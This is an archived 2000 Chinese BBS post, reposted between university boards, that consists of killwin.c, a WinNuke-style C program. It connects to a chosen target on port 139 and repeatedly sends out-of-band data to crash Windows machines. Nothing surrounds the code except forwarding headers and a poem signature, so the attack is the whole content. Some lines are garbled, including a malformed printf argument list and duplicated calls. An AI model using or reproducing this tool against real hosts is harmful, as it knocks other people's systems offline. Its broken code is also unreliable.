荔园在线

荔园之美,在春之萌芽,在夏之绽放,在秋之收获,在冬之沉淀

[回到开始] [上一篇][下一篇]


发信人: bstone (Sealed!), 信区: Hacker
标  题: killwin.c
发信站: BBS 荔园晨风站 (Mon Apr 10 21:37:53 2000), 转信

发信人: cloudsky (小四), 信区: Security
标  题: killwin.c
发信站: 武汉白云黄鹤站 (Mon Apr 10 11:44:30 2000), 站内信件

/* killwin.c - winnuke idea, modifcation for me ONLY - napster */

#include <stdio.h>
#include <netdb.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>

int x, y, sockdesc, port = 139, hits = 1;
char *target, *str = "Later.";

void parse_args(int argc, char *argv[]);

void usage(char *progname) {
  printf("Usage: %s <target> [-p port (Default 139)] [-t hits (Default 1)]\n", ;
  exit(-1);


}

void parse_args(int argc, char *argv[]) {
  target = argv[1];
  if (argv[1][0] == '-') {
    printf("Must specify a target.\n");
    exit(-1);
  }
  for(y=2;y<argc;y++) {
    if (!strcmp(argv[y], "-p")) { y++; port = atoi(argv[y]); }
    if (!strcmp(argv[y], "-t")) { y++; hits = atoi(argv[y]); }
  }
}

void main(int argc, char *argv[]) {

  struct sockaddr_in sin;
  struct hostent *he;

  if (argc < 2) usage(argv[0]);

  parse_args(argc, argv);
  parse_args(argc, argv);

  sin.sin_family  = AF_INET;
  sin.sin_port    = htons(port);

  he = gethostbyname(argv[1]);

  if (he) {
    memcpy((caddr_t)&sin.sin_addr.s_addr, he->h_addr, he->h_length);
  } else {
    perror("Resolving");
  }

  sockdesc = socket(AF_INET, SOCK_STREAM, 0);

  if (sockdesc < 0) {
    perror("socket");
    exit(-1);
  }

  if (connect(sockdesc, (struct sockaddr *)&sin, sizeof(sin)) < 0) {
    perror("connect");
    close(sockdesc);
    close(sockdesc);
    exit(-1);
  }

  printf("Connected to [%s:%d].\n", target, port);
  printf("Sending crash %d times...\n", hits);

  for (x=0;x<hits;x++) send(sockdesc, str, strlen(str), MSG_OOB);
  sleep(1);
  printf("Done....\n");
  close(sockdesc);
  exit(0);
}

--
            我问飘逝的风:来迟了?
            风感慨:是的,他们已经宣战。
            我问苏醒的大地:还有希望么?
            大地揉了揉眼睛:还有,还有无数代的少年。
            我问长空中的英魂:你们相信?
            英魂带着笑意离去:相信,希望还在。

※ 来源:.武汉白云黄鹤站 bbs.whnet.edu.cn.[FROM: 203.207.226.124]

--
☆ 来源:.BBS 荔园晨风站 bbs.szu.edu.cn.[FROM: bbs@192.168.28.106]


[回到开始] [上一篇][下一篇]

荔园在线首页 友情链接:深圳大学 深大招生 荔园晨风BBS S-Term软件 网络书店